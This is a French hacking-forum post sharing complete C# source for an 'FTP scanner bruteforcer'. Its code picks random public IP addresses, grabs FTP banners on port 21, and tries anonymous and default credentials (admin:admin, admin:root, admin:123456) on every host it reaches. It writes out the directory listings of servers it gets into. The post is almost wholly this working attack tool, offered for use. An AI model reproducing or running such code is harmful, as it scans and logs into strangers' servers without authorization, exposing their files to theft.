• STATISTIQUES
  • Il y a eu un total de 0 membres et 27345 visiteurs sur le site dans les dernières 24h pour un total de 27 345 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Zenk-Security
    La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des tou...
    Hacking
    [EN] osix
    Site de challenge qui utilise un système de level on chaque épreuve doit être réussie avant d'accédÃ...
    Challenges
    [FR] Le site du zero
    Découvrez gratuitement la programmation (C, C++, PHP, MySQL, XHTML, CSS...), Linux, le Mapping, la modé...
    Programmation
    [FR] Cyber-Hacker
    CH - Cyber Hacker est un jeu par navigateur de simulation de hack, programmez et envoyez vos virus et piratez les aut...
    Hacking
    [FR] Developpez.net
    Un forum communautaire qui se veut pour les développeurs en générale. Avec presque 500 000 membr...
    Programmation
    [EN] Sabre Films
    Site de challenge présenté sous la forme d'une quête. Vous êtes un détective et devrez résoudre d...
    Challenges
    [EN] Hack This Site
    Hack This Site est considéré comme un réel terrain d'entraînement légal pour le...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!

    €



Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[C#] FTP scanner bruteforcer
06-03-2013, 18h59 (Modification du message : 06-03-2013, 18h59 par t0fx.)
Message : #1
t0fx Hors ligne
Newbie
*



Messages : 17
Sujets : 4
Points: 6
Inscription : Feb 2013
[C#] FTP scanner bruteforcer
Program.cs
Code :
using System;
using System.Threading;

namespace ConsoleApplication1
{
    internal class Program
    {
        public static int ScanningThreads;

        private static void Main()
        {
            Console.Title = "FTP Scanner by t0fx.";
            Console.WriteLine("       ..................");
            Console.WriteLine("    .::::::::::::::::::::::.");
            Console.WriteLine("  .::: FTP Scanner by t0fx :::.");
            Console.WriteLine(".::::::::::::::::::::::::::::::::.");
            Console.WriteLine("");
            Console.WriteLine("Enter number of threads and press ENTER (50 is a good choice)");
            ScanningThreads = Convert.ToInt32(Console.ReadLine());
            try
            {
                for (int i = 0; i <= ScanningThreads; i++)
                {
                    new Thread(Ftp.GrabBannerFtp).Start();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                Console.ReadLine();
            }
        }
    }

    internal class Rng
    {
        public static Random _rng = new Random();

        public static int Next(int min, int max)
        {
            return _rng.Next(min, max);
        }

        public static string GenerateIp()
        {
            return Next(11, 239) + "." + Next(1, 255) + "." + Next(1, 255) + "." + Next(1, 255);
        }
    }

}

ftp.cs
Code :
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace ConsoleApplication1
{
    internal class Ftp
    {
        public static void GrabBannerFtp()
        {
            while (true)
            {
                try
                {
                    string ipadress = Rng.GenerateIp();
                    Console.WriteLine("FTP Scanning " + ipadress);
                    var data = new byte[1024];
                    string stringData;
                    int recv;
                    var ipep = new IPEndPoint(
                        IPAddress.Parse(ipadress), 21);
                    var server = new Socket(AddressFamily.InterNetwork,
                                            SocketType.Stream, ProtocolType.Tcp);
                    try
                    {
                        server.Connect(ipep);
                    }
                    catch
                    {
                    }
                    var ns = new NetworkStream(server);
                    if (ns.CanRead)
                    {
                        recv = ns.Read(data, 0, data.Length);
                        stringData = Encoding.ASCII.GetString(data, 0, recv);
                        if (stringData.Replace("220", string.Empty) != "")
                        {
                            Console.WriteLine("ftp://" + ipadress + " : " +
                                              stringData.Replace("220", string.Empty));
                            File.AppendAllText("FTP-banners.txt",
                                               "ftp://" + ipadress + " : " +
                                               stringData.Replace("220", string.Empty) + "\r\n");
                        }
                        new Thread(delegate() { CheckHost(ipadress); }).Start();
                    }
                    else
                    {
                        ns.Close();
                        server.Close();
                    }
                }
                catch
                {
                }
            }
        }


        public static void CheckHost(string ipadress)
        {
            try
            {
                var ftpClientRequest = WebRequest.Create("ftp://" + ipadress) as FtpWebRequest;
                if (ftpClientRequest != null)
                {
                    ftpClientRequest.Method = WebRequestMethods.Ftp.ListDirectoryDetails;
                    ftpClientRequest.Proxy = null;
                    ftpClientRequest.Credentials = new NetworkCredential("anonymous", "britney@spears.com");
                    ftpClientRequest.Timeout = 5000;
                    var response = ftpClientRequest.GetResponse() as FtpWebResponse;
                    if (response != null)
                    {
                        var sr = new StreamReader(response.GetResponseStream(), Encoding.ASCII);
                        string datastring = sr.ReadToEnd();
                        response.Close();
                        Console.WriteLine("Anonymous >>>> ftp://" + ipadress);
                        Console.WriteLine(datastring);
                        File.AppendAllText("Access.txt",
                                           "Anonymous >>>> ftp://" + ipadress + "\r\n" +
                                           datastring + "\r\n");
                    }
                    else
                    {
                        ftpClientRequest.Credentials = new NetworkCredential("admin", "admin");
                        var response1 = ftpClientRequest.GetResponse() as FtpWebResponse;
                        if (response1 != null)
                        {
                            var sr = new StreamReader(response1.GetResponseStream(), Encoding.ASCII);
                            string datastring = sr.ReadToEnd();
                            response1.Close();
                            Console.WriteLine("admin:admin >>>> ftp://" + ipadress);
                            Console.WriteLine(datastring);
                            File.AppendAllText("Access.txt",
                                               "admin:admin >>>> ftp://" + ipadress + "\r\n" +
                                               datastring + "\r\n");
                        }
                        else
                        {
                            ftpClientRequest.Credentials = new NetworkCredential("admin", "root");
                            var response2 = ftpClientRequest.GetResponse() as FtpWebResponse;
                            if (response2 != null)
                            {
                                var sr = new StreamReader(response2.GetResponseStream(), Encoding.ASCII);
                                string datastring = sr.ReadToEnd();
                                response2.Close();
                                Console.WriteLine("admin:root >>>> ftp://" + ipadress);
                                Console.WriteLine(datastring);
                                File.AppendAllText("Access.txt",
                                                   "admin:root >>>> ftp://" + ipadress + "\r\n" +
                                                   datastring + "\r\n");
                            }
                            else
                            {
                                ftpClientRequest.Credentials = new NetworkCredential("admin", "123456");
                                var response3 = ftpClientRequest.GetResponse() as FtpWebResponse;
                                if (response3 != null)
                                {
                                    var sr = new StreamReader(response3.GetResponseStream(), Encoding.ASCII);
                                    string datastring = sr.ReadToEnd();
                                    response3.Close();
                                    Console.WriteLine("admin:123456 >>>> ftp://" + ipadress);
                                    Console.WriteLine(datastring);
                                    File.AppendAllText("Access.txt",
                                                       "admin:123456 >>>> ftp://" + ipadress + "\r\n" +
                                                       datastring + "\r\n");
                                }
                            }
                        }
                    }
                }
            }
            catch
            {
            }
        }
    }
}
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C] Port Scanner sakiir 10 564 25-12-2012, 00h50
Dernier message: sakiir

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut